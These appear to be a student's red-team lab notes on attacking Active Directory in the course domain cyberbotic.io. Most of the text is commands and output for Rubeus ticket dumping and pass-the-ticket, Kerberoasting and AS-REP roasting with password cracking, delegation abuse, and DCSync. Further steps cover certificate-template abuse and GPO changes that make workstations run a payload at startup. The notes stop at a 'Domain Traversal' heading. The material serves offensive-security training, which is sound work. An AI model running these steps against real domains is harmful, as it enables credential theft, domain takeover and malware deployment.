7. Active Directory

Rubeus is good

Creating TGTs

If you have the NTLM hash or AES hash of a user via mimikatz dumping, you can request for a TGT for that user

C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:jking /ntlm:59fc0f884922b4ce376051134c71e22c /nowrap

C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:jking /aes256:4a8a74daad837ae09e9ecc8c2f1b89f960188cb934db6d4bbebade8318ae57c6 /nowrap

Once you have the TGT, you can create a session and pass the ticket to it

C:\\Tools\\Rubeus\\Rubeus\\bin\\Release\\Rubeus.exe createnetonly /program:C:\\Windows\\System32\\cmd.exe /domain:DEV /username:jking /password:FakePass /ticket:doIFwj[...]MuSU8= /ptt

Dumping TGTs

C:\\Tools\\Rubeus\\Rubeus\\bin\\Release\\Rubeus.exe triage
 ---------------------------------------------------------------------------------------------------------------
 | LUID    | UserName                    | Service                                       | EndTime              |
 ---------------------------------------------------------------------------------------------------------------
| 0x3e4    | sql-2$ @ DEV.CYBERBOTIC.IO  | krbtgt/DEV.CYBERBOTIC.IO                      | 9/6/2022 7:06:50 PM |

Using the luid and service, dump out the TGT

C:\\Tools\\Rubeus\\Rubeus\\bin\\Release\\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap

    ServiceName              :  krbtgt/DEV.CYBERBOTIC.IO
    ServiceRealm             :  DEV.CYBERBOTIC.IO
    UserName                 :  SQL-2$
    UserRealm                :  DEV.CYBERBOTIC.IO
    StartTime                :  9/6/2022 9:06:50 AM
    EndTime                  :  9/6/2022 7:06:50 PM
    RenewTill                :  9/13/2022 9:06:50 AM
    Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
    KeyType                  :  aes256_cts_hmac_sha1
    Base64(key)              :  pj1tbiijFCGHkM6S58ShgxxPi8FvA1UB5liBqrSWPCg=
    Base64EncodedTicket   :

doIFpD[...]MuSU8=

The TGT can then be used in a PTT attack, or depending on the scenario, used to request a TGS and the a PTT

TGS decryption

Part of the TGS returned is encrypted with a secret derived from the password of the account running the service.

Kerberoasting involves requesting a TGS and cracking the TGS to reveal the password of the account

Finding SPNs on a server

C:\\Tools\\ADSearch\\ADSearch\\bin\\Release\\ADSearch.exe --search "(&(objectCategory=user)(servicePrincipalName=*))" --attributes cn,servicePrincipalName,samAccountName

[*] TOTAL NUMBER OF SEARCH RESULTS: 4
	[+] cn                   : krbtgt
	[+] servicePrincipalName : kadmin/changepw
	[+] samaccountname       : krbtgt
	
	[+] cn                   : MS SQL Service
	[+] servicePrincipalName : MSSQLSvc/sql-2.dev.cyberbotic.io:1433
	[+] samaccountname       : mssql_svc
	
	[+] cn                   : Squid Proxy
	[+] servicePrincipalName : HTTP/squid.dev.cyberbotic.io
	[+] samaccountname       : squid_svc
	
	[+] cn                   : Honey Token
	[+] servicePrincipalName : HoneySvc/fake.dev.cyberbotic.io
	[+] samaccountname       : honey_svc

Use Rubeus to get TGS

C:\\Tools\\Rubeus\\Rubeus\\bin\\Release\\Rubeus.exe kerberoast /user:mssql_svc /nowrap

[*] SamAccountName         : mssql_svc
[*] DistinguishedName      : CN=MS SQL Service,CN=Users,DC=dev,DC=cyberbotic,DC=io
[*] ServicePrincipalName   : MSSQLSvc/sql-2.dev.cyberbotic.io:1433
[*] PwdLastSet             : 8/15/2022 7:46:43 PM
[*] Supported ETypes       : RC4_HMAC_DEFAULT
[*] Hash                   : $krb5tgs$23$*mssql_svc$dev.cyberbotic.io$MSSQLSvc/sql-2.dev.cyberbotic.io:1433@dev.cyberbotic.io*$122A4848378D3CFFEF922BDEAAC3707A$8FE7692C9C318EC7B4630C929AD54F87784B9E52293020E17BB427BD3FD27BA3C491D264BE8082505F3A2C40142703042A7EC3E16182 ...

These hashes can then be cracked

$ john --format=krb5tgs --wordlist=wordlist mssql_svc
Cyberb0tic       (mssql_svc$dev.cyberbotic.io)

Sometimes you have to remove the SPN

$krb5tgs$23$*honey_svc$dev.cyberbotic.io$HoneySvc/fake.dev.cyberbotic.io@dev.cyberbotic.io*$B6424DAD1372B0E769F6...

becomes

$krb5tgs$23$*honey_svc$dev.cyberbotic.io$B6424DAD1372B0E769F6...

ASREP Roasting

If a user does not have Kerberos enabled, an AS-REP can be requested for that user, and part of the reply can be cracked offline to recover their plaintext password.

Finding accounts that don’t have Kerberos

C:\\Tools\\ADSearch\\ADSearch\\bin\\Release\\ADSearch.exe --search "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" --attributes cn,distinguishedname,samaccountname

[*] TOTAL NUMBER OF SEARCH RESULTS: 1
	[+] cn                : Squid Proxy
	[+] distinguishedname : CN=Squid Proxy,CN=Users,DC=dev,DC=cyberbotic,DC=io
	[+] samaccountname    : squid_svc

Roast it and crack it

C:\\Tools\\Rubeus\\Rubeus\\bin\\Release\\Rubeus.exe asreproast /user:squid_svc /nowrap

[*] SamAccountName         : squid_svc
[*] DistinguishedName      : CN=Squid Proxy,CN=Users,DC=dev,DC=cyberbotic,DC=io
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Building AS-REQ (w/o preauth) for: 'dev.cyberbotic.io\\squid_svc'
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:

$krb5asrep$squid_svc@dev.cyberbotic.io:BEDE491E0C9B3E932F9B4DF274AB059B$0947A85824870A9EA0B2C832B30D8B99BDA99F9451E9EB14AA0D9566674B32A10BE4954E6FB
$ john --format=krb5asrep --wordlist=wordlist squid_svc
Passw0rd!        ($krb5asrep$squid_svc@dev.cyberbotic.io)

Delegation

Delegation allows a user or machine to act on behalf of another user to another service.

When the user accesses the Web Server, it extracts the user's TGT from the TGS and caches it in memory. When the Web Server needs to access the DB Server on behalf of that user, it uses the user’s TGT to request a TGS for the database service.

Unconstrained Delegation

Finding UD machines

C:\\Tools\\ADSearch\\ADSearch\\bin\\Release\\ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname

[*] TOTAL NUMBER OF SEARCH RESULTS: 2
	[+] samaccountname : DC-2$
	[+] dnshostname    : dc-2.dev.cyberbotic.io

	[+] samaccountname : WEB$
	[+] dnshostname    : web.dev.cyberbotic.io

This means whenever a user interacts with DC-2$ or WEB$, the machines will cache their TGT

> dir \\\\web\\c$ # dir is enough to count as an "interaction"

Listing cached TGTs

C:\\Tools\\Rubeus\\Rubeus\\bin\\Release\\Rubeus.exe triage

 ---------------------------------------------------------------------------------------------------------------
 | LUID     | UserName                  | Service                                       | EndTime              |
 ---------------------------------------------------------------------------------------------------------------
 | 0x14794e | nlamb @ DEV.CYBERBOTIC.IO | krbtgt/DEV.CYBERBOTIC.IO                      | 10/4/2022 9:35:38 PM |

Extract the TGT

C:\\Tools\\Rubeus\\Rubeus\\bin\\Release\\Rubeus.exe dump /luid:0x14794e /nowrap

doIFwj [...snip...] MuSU8=

Create a new session with the TGT and pass the ticket

C:\\Tools\\Rubeus\\Rubeus\\bin\\Release\\Rubeus.exe createnetonly /program:C:\\Windows\\System32\\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFwj[...]MuSU8= /ptt

[*] Using DEV\\nlamb:FakePass

[*] Showing process : False
[*] Username        : nlamb
[*] Domain          : DEV
[*] Password        : FakePass
[+] Process         : 'C:\\Windows\\System32\\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 1540
[+] Ticket successfully imported!
[+] LUID            : 0x3206fb

We can also use Rubeus to continuously monitor for new TGTs

C:\\Tools\\Rubeus\\Rubeus\\bin\\Release\\Rubeus.exe monitor /interval:10 /nowrap

[*] Action: TGT Monitoring
[*] Monitoring every 10 seconds for new TGTs

Force dc-2 to interact with web

C:\\Tools\\SharpSystemTriggers\\SharpSpoolTrigger\\bin\\Release\\SharpSpoolTrigger.exe dc-2.dev.cyberbotic.io web.dev.cyberbotic.io

Rubeus will then capture the ticket.

Machine TGTs like DC-2 are use differently from user TGTs, and we need to run S4U

[*] 9/6/2022 2:44:52 PM UTC - Found new TGT:

  User                  :  DC-2$@DEV.CYBERBOTIC.IO
  StartTime             :  9/6/2022 9:06:14 AM
  EndTime               :  9/6/2022 7:06:14 PM
  RenewTill             :  9/13/2022 9:06:14 AM
  Flags                 :  name_canonicalize, pre_authent, renewable, forwarded, forwardable
  Base64EncodedTicket   :

doIFuj[...]lDLklP

Using a machine TGT and S4U to get a TGS and pass the ticket

C:\\Tools\\Rubeus\\Rubeus\\bin\\Release\\Rubeus.exe s4u /impersonateuser:nlamb /self /altservice:cifs/dc-2.dev.cyberbotic.io /user:dc-2$ /ticket:doIFuj[...]lDLklP /nowrap

[*] Action: S4U

[*] Building S4U2self request for: 'DC-2$@DEV.CYBERBOTIC.IO'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Sending S4U2self request to 10.10.122.10:88
[+] S4U2self success!
[*] Substituting alternative service name 'cifs/dc-2.dev.cyberbotic.io'
[*] Got a TGS for 'nlamb' to 'cifs@DEV.CYBERBOTIC.IO'
[*] base64(ticket.kirbi):

doIFyD[...]MuaW8=

C:\\Tools\\Rubeus\\Rubeus\\bin\\Release\\Rubeus.exe createnetonly /program:C:\\Windows\\System32\\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFyD[...]MuaW8= /ptt

[*] Using DEV\\nlamb:FakePass

[*] Showing process : False
[*] Username        : nlamb
[*] Domain          : DEV
[*] Password        : FakePass
[+] Process         : 'C:\\Windows\\System32\\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 2664
[+] Ticket successfully imported!
[+] LUID            : 0x4ff935

Constrained Delegation

No longer allows the server to cache the TGTs of other users, but allows it to request a TGS for another user with its own TGT.

Find CD

# CD to user accounts
C:\\Tools\\ADSearch\\ADSearch\\bin\\Release\\ADSearch.exe --search "(&(objectCategory=user)(msds-allowedtodelegateto=*))" --attributes dnshostname,samaccountname,msds-allowedtodelegateto --json

# CD to computers
C:\\Tools\\ADSearch\\ADSearch\\bin\\Release\\ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes dnshostname,samaccountname,msds-allowedtodelegateto --json

[*] TOTAL NUMBER OF SEARCH RESULTS: 1
[
  {
    "dnshostname": "sql-2.dev.cyberbotic.io",
    "samaccountname": "SQL-2$",
    "msds-allowedtodelegateto": [
      "cifs/dc-2.dev.cyberbotic.io/dev.cyberbotic.io",
      "cifs/dc-2.dev.cyberbotic.io",
      "cifs/DC-2",
      "cifs/dc-2.dev.cyberbotic.io/DEV",
      "cifs/DC-2/DEV"
    ]
  }
]

SQL-2 can act on behalf of any ****user to the cifs service on DC-2

Get TGT of SQL-2

C:\\Tools\\Rubeus\\Rubeus\\bin\\Release\\Rubeus.exe triage
 ---------------------------------------------------------------------------------------------------------------
 | LUID    | UserName                    | Service                                       | EndTime              |
 ---------------------------------------------------------------------------------------------------------------
| 0x3e4    | sql-2$ @ DEV.CYBERBOTIC.IO  | krbtgt/DEV.CYBERBOTIC.IO                      | 9/6/2022 7:06:50 PM |

C:\\Tools\\Rubeus\\Rubeus\\bin\\Release\\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap

    ServiceName              :  krbtgt/DEV.CYBERBOTIC.IO
    ServiceRealm             :  DEV.CYBERBOTIC.IO
    UserName                 :  SQL-2$
    UserRealm                :  DEV.CYBERBOTIC.IO
    StartTime                :  9/6/2022 9:06:50 AM
    EndTime                  :  9/6/2022 7:06:50 PM
    RenewTill                :  9/13/2022 9:06:50 AM
    Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
    KeyType                  :  aes256_cts_hmac_sha1
    Base64(key)              :  pj1tbiijFCGHkM6S58ShgxxPi8FvA1UB5liBqrSWPCg=
    Base64EncodedTicket   :

doIFpD[...]MuSU8=

Using the TGT, perform S4U request to obtain a usable TGS for CIFS on DC-2

C:\\Tools\\Rubeus\\Rubeus\\bin\\Release\\Rubeus.exe s4u /impersonateuser:nlamb /msdsspn:cifs/dc-2.dev.cyberbotic.io /user:sql-2$ /ticket:doIFLD[...snip...]MuSU8= /nowrap

[*] Action: S4U

[*] Building S4U2self request for: 'SQL-2$@DEV.CYBERBOTIC.IO'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Sending S4U2self request to 10.10.122.10:88
[+] S4U2self success!
[*] Got a TGS for 'nlamb' to 'SQL-2$@DEV.CYBERBOTIC.IO'
[*] base64(ticket.kirbi):

      doIFnD[...]FMLTIk

[*] Impersonating user 'nlamb' to target SPN 'cifs/dc-2.dev.cyberbotic.io'
[*] Building S4U2proxy request for service: 'cifs/dc-2.dev.cyberbotic.io'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Sending S4U2proxy request to domain controller 10.10.122.10:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/dc-2.dev.cyberbotic.io':

      doIGaD[...]ljLmlv

Grab the TGS generated and pass it into a new logon session.

C:\\Tools\\Rubeus\\Rubeus\\bin\\Release\\Rubeus.exe createnetonly /program:C:\\Windows\\System32\\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIGaD[...]ljLmlv /ptt

[*] Using DEV\\nlamb:FakePass

[*] Showing process : False
[*] Username        : nlamb
[*] Domain          : DEV
[*] Password        : FakePass
[+] Process         : 'C:\\Windows\\System32\\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 5540
[+] Ticket successfully imported!
[+] LUID            : 0x3d3194

Resource Based Constrained Delegation

Delegation configuration set on the target rather than the source.

Need to find

  1. A target computer on which you can modify msDS-AllowedToActOnBehalfOfOtherIdentity

  2. An SPN you want to grant access to the target machine

Finding accounts with appropriate permissions to modify permissions of other machines

powershell Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\\d]{4,10}" }

AceQualifier           : AccessAllowed
ObjectDN               : CN=DC-2,OU=Domain Controllers,DC=dev,DC=cyberbotic,DC=io # LOOK FOR THIS
ActiveDirectoryRights  : Self, WriteProperty # LOOK FOR THIS
ObjectAceType          : All # LOOK FOR THIS
ObjectSID              : S-1-5-21-569305411-121244042-2357301523-1000
InheritanceFlags       : ContainerInherit
BinaryLength           : 56
AceType                : AccessAllowedObject
ObjectAceFlags         : InheritedObjectAceTypePresent
IsCallback             : False
PropagationFlags       : None
SecurityIdentifier     : S-1-5-21-569305411-121244042-2357301523-1107
AccessMask             : 40
AuditFlags             : None
IsInherited            : True
AceFlags               : ContainerInherit, Inherited
InheritedObjectAceType : Computer
OpaqueLength           : 0

Using the SID, find out the name of the group that has this write permissions.

The Developers group can write, so find a way to get there, or find users in the group that we can exploit.

powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107
DEV\\Developers

Finding the SID of wkstn-2

powershell Get-DomainComputer -Identity wkstn-2 -Properties objectSid

objectsid
---------
S-1-5-21-569305411-121244042-2357301523-1109

Modifying the permissions for dc-2 using the SID of wkstn-2 to grant wkstn-2access to resources on dc-2

powershell $rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-569305411-121244042-2357301523-1109)"; $rsdb = New-Object byte[] ($rsd.BinaryLength); $rsd.GetBinaryForm($rsdb, 0); Get-DomainComputer -Identity "dc-2" | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $rsdb} -Verbose

Setting 'msDS-AllowedToActOnBehalfOfOtherIdentity' to '1 0 4 128 20 0 0 0 0 0 0 0 0 0 0 0 36 0 0 0 1 2 0 0 0 0 0 5 32 0 0 0 32 2 0 0 2 0 44 0 1 0 0 0 0 0 36 0 255 1 15 0 1 5 0 0 0 0 0 5 21 0 0 0 67 233 238 33 138 9 58 7 19 145 129 140 85 4 0 0' for object 'DC-2$'

powershell Get-DomainComputer -Identity "dc-2" -Properties msDS-AllowedToActOnBehalfOfOtherIdentity

msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}

Now wkstn-2 has access to resources on dc-2, and we can access it

Extract TGT for wkstn-2

C:\\Tools\\Rubeus\\Rubeus\\bin\\Release\\Rubeus.exe triage

[*] Current LUID    : 0x3e7

 ------------------------------------------------------------------------------------------------------------------
 | LUID     | UserName                     | Service                                       | EndTime              |
 ------------------------------------------------------------------------------------------------------------------
 | 0x3e4    | wkstn-2$ @ DEV.CYBERBOTIC.IO | krbtgt/DEV.CYBERBOTIC.IO                      | 9/13/2022 7:27:12 PM |

C:\\Tools\\Rubeus\\Rubeus\\bin\\Release\\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap

[...]

doIFuD[...]5JTw==

Perform s4u to get a TGS on behalf of another user

C:\\Tools\\Rubeus\\Rubeus\\bin\\Release\\Rubeus.exe s4u /user:WKSTN-2$ /impersonateuser:nlamb /msdsspn:cifs/dc-2.dev.cyberbotic.io /ticket:doIFuD[...]5JTw== /nowrap

Create a new session using the TGS and passing the ticket

C:\\Tools\\Rubeus\\Rubeus\\bin\\Release\\Rubeus.exe createnetonly /program:C:\\Windows\\System32\\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIGcD[...]MuaW8= /ptt

Accessing RBCD via Fake Machines

Adding a fake machine to the domain

C:\\Tools\\StandIn\\StandIn\\StandIn\\bin\\Release\\StandIn.exe --computer EvilComputer --make

[?] Using DC    : dc-2.dev.cyberbotic.io
    |_ Domain   : dev.cyberbotic.io
    |_ DN       : CN=EvilComputer,CN=Computers,DC=dev,DC=cyberbotic,DC=io
    |_ Password : oIrpupAtF1YCXaw

[+] Machine account added to AD..

Creating a hash from the password

C:\\Tools\\Rubeus\\Rubeus\\bin\\Release\\Rubeus.exe hash /password:oIrpupAtF1YCXaw /user:EvilComputer$ /domain:dev.cyberbotic.io

[*] Action: Calculate Password Hash(es)

[*] Input password             : oIrpupAtF1YCXaw
[*] Input username             : EvilComputer$
[*] Input domain               : dev.cyberbotic.io
[*] Salt                       : DEV.CYBERBOTIC.IOhostevilcomputer.dev.cyberbotic.io
[*]       rc4_hmac             : 73D0774058830F841C9205C857C9EE62
[*]       aes128_cts_hmac_sha1 : FB9A1AB8567D4EF4CEA6186A115D091A
[*]       aes256_cts_hmac_sha1 : 7A79DCC14E6508DA9536CD949D857B54AE4E119162A865C40B3FFD46059F7044
[*]       des_cbc_md5          : 49B5514F1F45700D

Get TGT for the fake machine

C:\\Tools\\Rubeus\\Rubeus\\bin\\Release\\Rubeus.exe asktgt /user:EvilComputer$ /aes256:7A79DCC14E6508DA9536CD949D857B54AE4E119162A865C40B3FFD46059F7044 /nowrap

[*] Action: Ask TGT

[*] Using aes256_cts_hmac_sha1 hash: 7A79DCC14E6508DA9536CD949D857B54AE4E119162A865C40B3FFD46059F7044
[*] Building AS-REQ (w/ preauth) for: 'dev.cyberbotic.io\\EvilComputer$'
[*] Using domain controller: 10.10.122.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIF8j[...]MuaW8=

Find the SID of the fake machine, and add it to msDS-AllowedToActOnBehalfOfOtherIdentity of the target machine

Using TGT, get a TGS via S4U impersonating Administrator of the target machine

C:\\Tools\\Rubeus\\Rubeus\\bin\\Release\\Rubeus.exe s4u /user:EvilMachine$ /impersonateuser:nlamb /msdsspn:cifs/dc-2.dev.cyberbotic.io /ticket:doIFuD[...]5JTw== /nowrap

Using TGS to create a session and pass the ticket

C:\\Tools\\Rubeus\\Rubeus\\bin\\Release\\Rubeus.exe createnetonly /program:C:\\Windows\\System32\\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIGcD[...]MuaW8= /ptt

Alternate Service Name

We can request a service ticket for a service, such as CIFS, but then modify the SPN to something different, such as LDAP

We can be abuse this using /altservice flag in Rubeus.

In this example, I'm using the same TGT for SQL-2 to request a TGS for LDAP instead of CIFS.

C:\\Tools\\Rubeus\\Rubeus\\bin\\Release\\Rubeus.exe s4u /impersonateuser:nlamb /msdsspn:cifs/dc-2.dev.cyberbotic.io /altservice:ldap /user:sql-2$ /ticket:doIFpD[...]MuSU8= /nowrap

[...]

      doIGaD[...]ljLmlv

C:\\Tools\\Rubeus\\Rubeus\\bin\\Release\\Rubeus.exe createnetonly /program:C:\\Windows\\System32\\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIGaD[...]ljLmlv /ptt

[...]
[+] ProcessID       : 2580
[+] Ticket successfully imported!
[+] LUID            : 0x4b328e

Now we had a TGS for LDAP, we can run LDAP exploits against it like DCSync

dcsync dev.cyberbotic.io DEV\\krbtgt

[DC] 'dev.cyberbotic.io' will be the domain
[DC] 'dc-2.dev.cyberbotic.io' will be the DC server
[DC] 'DEV\\krbtgt' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Vulnerable Certificates

Find Certificate Authorities in a domain or forest

C:\\Tools\\Certify\\Certify\\bin\\Release\\Certify.exe cas

Enterprise CA Name            : ca
DNS Hostname                  : dc-1.cyberbotic.io
FullName                      : dc-1.cyberbotic.io\\ca
Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
Cert SubjectName              : CN=ca, DC=cyberbotic, DC=io
Cert Thumbprint               : 95AF7043BD6241CEE92E6DC6CB8D22494E396CCF
Cert Serial                   : 17DDB078863F61884B680FE6F59211AD
Cert Start Date               : 8/15/2022 3:42:59 PM
Cert End Date                 : 8/15/2047 3:52:59 PM
Cert Chain                    : CN=ca,DC=cyberbotic,DC=io

Enterprise CA Name            : sub-ca
DNS Hostname                  : dc-2.dev.cyberbotic.io
FullName                      : dc-2.dev.cyberbotic.io\\sub-ca
Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
Cert SubjectName              : CN=sub-ca, DC=dev, DC=cyberbotic, DC=io
Cert Thumbprint               : 697B1C2CD65B2ADC80C3D0CE83A6FB889B0CA08E
Cert Serial                   : 13000000046EF818036CF8C99F000000000004
Cert Start Date               : 8/15/2022 4:06:13 PM
Cert End Date                 : 8/15/2024 4:16:13 PM
Cert Chain                    : CN=ca,DC=cyberbotic,DC=io -> CN=sub-ca,DC=dev,DC=cyberbotic,DC=io

The Cert Chain is useful to note, as this shows us that sub-ca in the DEV domain is a subordinate of ca in the CYBER domain.

Misconfigured Certificate Templates

Finding Vulnerable Certificates

C:\\Tools\\Certify\\Certify\\bin\\Release\\Certify.exe find /vulnerable
  1. This template is served by sub-ca.

  2. The template is called CustomUser.

  3. ENROLLEE_SUPPLIES_SUBJECT is enabled, which allows the certificate requestor to provide any SAN (subject alternative name).

  4. The certificate usage has Client Authentication set.

  5. DEV\\Domain Users have enrollment rights, so any domain user may request a certificate from this template.

This configuration allows any domain user to request a certificate for any other domain user (including a domain admin) and use it for authentication.

Request a certificate for nlamb.

💡 CANNOT USE SYSTEM ACCOUNT TO DO THIS. You have to use a user account to request for a certificate

C:\\Tools\\Certify\\Certify\\bin\\Release\\Certify.exe request /ca:dc-2.dev.cyberbotic.io\\sub-ca /template:CustomUser /altname:nlamb

[*] Action: Request a Certificates
[*] Current user context    : DEV\\bfarmer
[*] No subject name specified, using current context as subject.

[*] Template                : CustomUser
[*] Subject                 : CN=Bob Farmer, CN=Users, DC=dev, DC=cyberbotic, DC=io
[*] AltName                 : nlamb

[*] Certificate Authority   : dc-2.dev.cyberbotic.io\\sub-ca

[*] CA Response             : The certificate had been issued.
[*] Request ID              : 11

[*] cert.pem         :

-----BEGIN RSA PRIVATE KEY-----
[...]
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
[...]
-----END CERTIFICATE-----

[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Certify completed in 00:00:05.4521116

Download the files to the local machine and convert it to pfx format.

ubuntu@DESKTOP-3BSK7NO ~> openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Enter Export Password: pass123
Verifying - Enter Export Password: pass123

Convert cert.pfx into a base64 encoded string so it can be used with Rubeus

ubuntu@DESKTOP-3BSK7NO ~> cat cert.pfx | base64 -w 0
MIIM7w[...]ECAggA

Then use asktgt to request a TGT for the user using the certificate.

C:\\Tools\\Rubeus\\Rubeus\\bin\\Release\\Rubeus.exe asktgt /user:nlamb /certificate:MIIM7w[...]ECAggA /password:pass123 /nowrap

[*] Using PKINIT with etype rc4_hmac and subject: CN=Bob Farmer, CN=Users, DC=dev, DC=cyberbotic, DC=io
[*] Building AS-REQ (w/ PKINIT preauth) for: 'dev.cyberbotic.io\\nlamb'
[*] Using domain controller: 10.10.122.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIGQj[...]5pbw==

The TGT can then be used in a PTT, or used to request for a TGS to a PTT

GPO Abuse

Modifying Existing GPO

Finding GPOs you can write to

powershell Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "CreateChild|WriteProperty" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\\d]{4,10}" }

AceType               : AccessAllowed
ObjectDN              : CN={5059FAC1-5E94-4361-95D3-3BB235A23928},CN=Policies,CN=System,DC=dev,DC=cyberbotic,DC=io
ActiveDirectoryRights : CreateChild, DeleteChild, ReadProperty, WriteProperty, GenericExecute
OpaqueLength          : 0
ObjectSID             : 
InheritanceFlags      : ContainerInherit
BinaryLength          : 36
IsInherited           : False
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-569305411-121244042-2357301523-1107
AccessMask            : 131127
AuditFlags            : None
AceFlags              : ContainerInherit
AceQualifier          : AccessAllowed

Getting GPO name

powershell Get-DomainGPO -Identity "CN={5059FAC1-5E94-4361-95D3-3BB235A23928},CN=Policies,CN=System,DC=dev,DC=cyberbotic,DC=io" | select displayName, gpcFileSysPath

displayname    gpcfilesyspath
-----------    --------------
Vulnerable GPO \\\\dev.cyberbotic.io\\SysVol\\dev.cyberbotic.io\\Policies\\{5059FAC1-5E94-4361-95D3-3BB235A23928}

Getting SID group

powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107
DEV\\Developers

Finding which groups this GPO applies to

powershell Get-DomainOU -GPLink "{5059FAC1-5E94-4361-95D3-3BB235A23928}" | select distinguishedName

distinguishedname
-----------------
OU=Workstations,DC=dev,DC=cyberbotic,DC=io

Getting machines in the group

powershell Get-DomainComputer -SearchBase "OU=Workstations,DC=dev,DC=cyberbotic,DC=io" | select dnsHostName

dnshostname
-----------
wkstn-1.dev.cyberbotic.io
wkstn-2.dev.cyberbotic.io

Modify the GPO

C:\\Tools\\SharpGPOAbuse\\SharpGPOAbuse\\bin\\Release\\SharpGPOAbuse.exe --AddComputerScript --ScriptName startup.bat --ScriptContents "start /b \\\\dc-2\\software\\dns_x64.exe" --GPOName "Vulnerable GPO"

[+] Domain = dev.cyberbotic.io
[+] Domain Controller = dc-2.dev.cyberbotic.io
[+] Distinguished Name = CN=Policies,CN=System,DC=dev,DC=cyberbotic,DC=io
[+] GUID of "Vulnerable GPO" is: {5059FAC1-5E94-4361-95D3-3BB235A23928}
[+] Creating new startup script...
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new startup script. Wait for the GPO refresh cycle.
[+] Done!

Creating New GPO

Finding groups that can create GPOs

powershell Get-DomainObjectAcl -Identity "CN=Policies,CN=System,DC=dev,DC=cyberbotic,DC=io" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" -and $_.ActiveDirectoryRights -contains "CreateChild" } | % { ConvertFrom-SID $_.SecurityIdentifier }

DEV\\Developers

Finding groups that can link GPOs

powershell Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN,ActiveDirectoryRights,ObjectAceType,SecurityIdentifier | fl

ObjectDN              : OU=Workstations,DC=dev,DC=cyberbotic,DC=io
ActiveDirectoryRights : ReadProperty, WriteProperty
ObjectAceType         : GP-Link
SecurityIdentifier    : S-1-5-21-569305411-121244042-2357301523-1107

Using the SID to find the group name that can link GPOs

powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107
DEV\\Developers

Creating a new GPO

powershell New-GPO -Name "Evil GPO"

DisplayName      : Evil GPO
DomainName       : dev.cyberbotic.io
Owner            : DEV\\bfarmer
Id               : 550f6672-bdd0-4e3d-8907-628ee6909f26
GpoStatus        : AllSettingsEnabled
Description      :
CreationTime     : 9/8/2022 1:30:17 PM
ModificationTime : 9/8/2022 1:30:17 PM
UserVersion      : AD Version: 0, SysVol Version: 0
ComputerVersion  : AD Version: 0, SysVol Version: 0
WmiFilter        :
powershell Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" -ValueName "Updater" -Value "C:\\Windows\\System32\\cmd.exe /c \\\\dc-2\\software\\dns_x64.exe" -Type ExpandString

Apply and link the GPO to the OU

powershell Get-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=cyberbotic,DC=io"

GpoId       : 550f6672-bdd0-4e3d-8907-628ee6909f26
DisplayName : Evil GPO
Enabled     : True
Enforced    : False
Target      : OU=Workstations,DC=dev,DC=cyberbotic,DC=io
Order       : 4

Reboot the machine

Domain Traversal

